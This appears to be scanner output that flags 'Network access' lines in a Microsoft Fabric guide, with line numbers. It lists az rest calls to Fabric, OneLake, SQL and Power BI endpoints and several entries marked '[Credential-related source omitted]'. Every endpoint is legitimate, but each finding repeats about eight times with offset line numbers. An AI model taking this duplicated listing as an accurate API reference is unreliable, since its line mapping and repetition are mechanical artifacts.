# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 238
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
